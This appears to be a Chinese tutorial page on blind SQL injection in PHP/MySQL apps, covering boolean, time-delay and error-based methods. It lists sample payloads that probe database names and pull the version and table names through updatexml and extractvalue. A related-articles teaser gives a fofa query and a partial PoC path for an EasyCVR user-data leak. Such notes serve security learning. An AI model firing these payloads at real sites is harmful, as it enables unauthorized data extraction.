-PHP 应用SQL 盲注布尔回显延时判断报错处理增删改查方式

#PHP-MYSQL-SQL 操作 - 增删改查
1 、功能：数据查询(对数据感兴趣）
查询： SELECT * FROM news where id=$id
2 、功能：新增用户，添加新闻等（对操作的结果感兴趣）
增加： INSERT INTO news ( 字段名 ) VALUES ( 数据 )
3 、功能：删除用户，删除新闻等
删除： DELETE FROM news WHERE id=$id
4 、功能：修改用户，修改文章等
修改： UPDATE news SET id=$id
#PHP-MYSQL- 注入函数 - 布尔 & 报错 & 延迟
盲注就是在注入过程中，获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注。
解决：常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类：
1 、基于布尔的 SQL 盲注 - 逻辑判断
regexp,like,ascii,left,ord,mid
2 、基于时间的 SQL 盲注 - 延时判断
if,sleep
3 、基于报错的 SQL 盲注 - 报错回显
floor ， updatexml ， extractvalue
延迟：（不需要有回显和报错）
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
布尔：（需要有回显 不需要报错）
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
报错：（需要有报错 不需要有回显）
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from
information_schema.tables limit 1)));
更多： https://www.jianshu.com/p/bc35f8dd4f7c

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/41806.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Linux一步部署主DNS服务器

Linux一步部署主DNS服务器

#!/bin/bash #部署DHCP服务 #userli 20250319 if [ "$USER" ! "root" ] then echo "错误&#xff1a;非root用户&#xff0c;权限不足&#xff01;" exit 0 fi #防火墙与高级权限 systemctl stop firewalld && systemctl disable …
阅读更多...
Softmax 回归 + 损失函数 + 图片分类数据集

Softmax 回归 + 损失函数 + 图片分类数据集

Softmax 回归 softmax 回归是机器学习另外一个非常经典且重要的模型&#xff0c;是一个分类问题。 下面先解释一下分类和回归的区别&#xff1a; 简单来说&#xff0c;分类问题从回归的单输出变成了多输出&#xff0c;输出的个数等于类别的个数。 实际上&#xff0c;对于分…
阅读更多...
视频管理平台-信息泄露漏洞

视频管理平台-信息泄露漏洞

一&#xff1a;漏洞描述 EasyCVR 部分版本存在用户信息泄露漏洞&#xff0c;攻击者可直接通过此漏洞获取所有用户的账号密码。 二&#xff1a;fofa查询 title"EasyCVR" 三&#xff1a;漏洞复现 在fofa中寻找有漏洞的url 并访问 poc:/api/v1/userlist?pageinde…
阅读更多...
gz sim机器人SDF模型 [持续更新]

gz sim机器人SDF模型 [持续更新]

机器人SDF模型 linklink的一级pose材质 plugin话题信息通信键盘操作plugin Sensor传感器imu 不算教学&#xff0c;个人的记录 sdf的格式跟urdf有所不同&#xff0c;必须是完整的一个包括&#xff0c;比如< pose></ pose>这样前一个后一个&#xff0c;urdf中是有<…
阅读更多...
极速全场景 MPP数据库starrocks介绍

极速全场景 MPP数据库starrocks介绍

目录 一、引子 二、起源 &#xff08;一&#xff09;前身 &#xff08;二&#xff09;定位 三、特点 &#xff08;一&#xff09;高性能架构 &#xff08;二&#xff09;实时分析 &#xff08;三&#xff09;高并发与扩展性 &#xff08;四&#xff09;兼容性与生态 …
阅读更多...
计算机二级（C语言）考试高频考点总汇（二）—— 控制流、函数、数组和指针

计算机二级（C语言）考试高频考点总汇（二）—— 控制流、函数、数组和指针

目录 六、控制流 七、函数 八、数组和指针 六、控制流 76. if 语句可以&#xff08;嵌套&#xff09;&#xff0c; if 语句可以嵌套在另一个 if 语句内部&#xff0c;形成&#xff08;嵌套的条件判断结构&#xff09;&#xff0c;用于处理更复杂的条件判断逻辑。 77. els…
阅读更多...
ECharts各类炫酷图表/3D柱形图

ECharts各类炫酷图表/3D柱形图

一、前言 最近鸡米花实现了各类的炫酷的图表&#xff0c;有3D柱形图、双边柱形图以及异形柱形图&#xff0c;好了&#xff0c;直接上图&#xff1a; 二、效果图 一个个来吧&#xff0c;下面就是代码啦&#xff0c;注意&#xff0c;一下图表展示的宽高均为800px*300px 三、异形横…
阅读更多...
2024年3月全国计算机等级考试真题（二级C语言）

2024年3月全国计算机等级考试真题（二级C语言）

&#x1f600; 第1题 下列叙述中正确的是 A. 矩阵是非线性结构 B. 数组是长度固定的线性表 C. 对线性表只能作插入与删除运算 D. 线性表中各元素的数据类型可以不同 题目解析&#xff1a; A. 矩阵是非线性结构 错误。矩阵通常是二维数组&#xff0c;属…
阅读更多...
从零构建大语言模型全栈开发指南：第三部分：训练与优化技术-3.2.3预训练任务设计：掩码语言建模（MLM）与下一句预测（NSP）

从零构建大语言模型全栈开发指南：第三部分：训练与优化技术-3.2.3预训练任务设计：掩码语言建模（MLM）与下一句预测（NSP）

👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路 文章大纲 3.2.3 预训练任务设计：`掩码语言建模（MLM）`与下一句预测（NSP）1. 掩码语言建模（`Masked Language Modeling, MLM`）1.1 MLM的核心原理与数学形式1.2 高级掩码优化技术1.2.1 `Span Masking（SpanBER…
阅读更多...
DeepSeek 助力 Vue3 开发：打造丝滑的表格（Table）之添加行拖拽排序功能示例6，TableView16_06 分页表格拖拽排序

DeepSeek 助力 Vue3 开发：打造丝滑的表格（Table）之添加行拖拽排序功能示例6，TableView16_06 分页表格拖拽排序

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…
阅读更多...
大模型训练步骤：预训练；增量预训练；微调；RLHF或者DPO

大模型训练步骤：预训练；增量预训练；微调；RLHF或者DPO

参考&#xff1a;https://blog.csdn.net/chengxuyuanyy/article/details/140949825 开发阶段分类 模型分成3个阶段: (1)、第一阶段:(Continue PreTraining)增量预训练&#xff0c;在海量领域文档数据上二次预训练GPT模型&#xff0c;以注入领域知识。 (2)、第二阶段: SFT(Sup…
阅读更多...
多网络选择路由（windows环境）

多网络选择路由（windows环境）

问题 情况是这样的&#xff0c;公司环境需要连接网线才能连接内网&#xff0c;也能上网&#xff0c;但是网速贼慢&#xff0c;我就连接了自己的热点&#xff0c;但是还是很慢&#xff0c;但是一拔掉网线就快了&#xff0c;但是连不上内网环境了。 解决思路 我猜我访问外网时…
阅读更多...
idea解决properties中文乱码

idea解决properties中文乱码

问题&#xff1a; 我的IDEA已经将文件的字符集设置成了UTF-8&#xff0c;但是中文在*.properties文件中还是会出现乱码&#xff0c;后来经同事指点修改了一项配置就ok了&#xff01;话不多说&#xff0c;看下面的对比就清楚了。 设置方法&#xff1a; Settings -> Editor…
阅读更多...
BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多变量时序预测（Matlab）

BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多变量时序预测（Matlab）

BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多变量时序预测&#xff08;Matlab&#xff09; 目录 BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多变量时序预测&#xff08;Matlab&#xff09;预测效果基本介绍程序设计参考资料 预测效果 基本介绍 BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多…
阅读更多...
V8内存的限制

V8内存的限制

如大家所熟悉的&#xff0c;在一般的后端开发语言中&#xff0c;在基本的内存使用上没有什么限制&#xff0c;然而在 Node 中通过JavaScript 使用内存时就会发现只能使用部分内存&#xff08;64 位系统写约 1.4GB&#xff0c;32 位系统下约为 0.7GB&#xff09;。 在这样的限制…
阅读更多...
【RabbitMQ】

【RabbitMQ】

课程背景 一.初始MQ 1.同步调用 2.异步调用 1.解耦合&#xff1a;如果需要扩展业务&#xff0c;那就扩呗&#xff0c;让扩展的服务去监听消息队列就可以了 2.无需等待&#xff1a;只管发消息&#xff0c;发完就不管了&#xff0c;干别的事去了 3.故障隔离&#xff1a;接收消息…
阅读更多...
emWin图片旋转

emWin图片旋转

图片取模&#xff1a; 源码&#xff1a; /* ********************************************************************************************************* * 声明图片 *********************************************************…
阅读更多...
ElasticSearch在Windows单节点部署及使用

ElasticSearch在Windows单节点部署及使用

文章目录 初始化ES服务下载启动验证 Kibana可视化使用ES下载启动验证使用创建第一个索引添加文档查询文档 ES优点 初始化ES服务 下载启动 访问官网https://www.elastic.co/downloads/elasticsearch 点击Windows&#xff0c;开始下载elasticsearch-8.17.4-windows-x86_64.zip…
阅读更多...
Qt弹出新窗口并关闭（两个按钮）

Qt弹出新窗口并关闭（两个按钮）

参考&#xff1a;Qt基础 练习&#xff1a;弹出新窗口并关闭的两种实现方式&#xff08;两个按钮、一个按钮&#xff09;_qt打开一个窗口另一个关闭-CSDN博客 实现&#xff1a;两个按钮&#xff0c;点击第一个按钮open window打开一个新窗口&#xff0c;点击第二个窗口close wi…
阅读更多...
今日 GitHub 热门项目大赏，你 pick 谁？

今日 GitHub 热门项目大赏，你 pick 谁？

GitHub 作为全球最大的开源代码托管平台&#xff0c;每天都有无数新奇且强大的项目涌现。今天就为大家精选几个不容错过的热门项目。 微软开源 Hyperlight Wasm&#xff1a;WebAssembly 的新力量 项目地址&#xff1a;hyperlight-wasm 微软开源的 Hyperlight Wasm&#xff0c…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023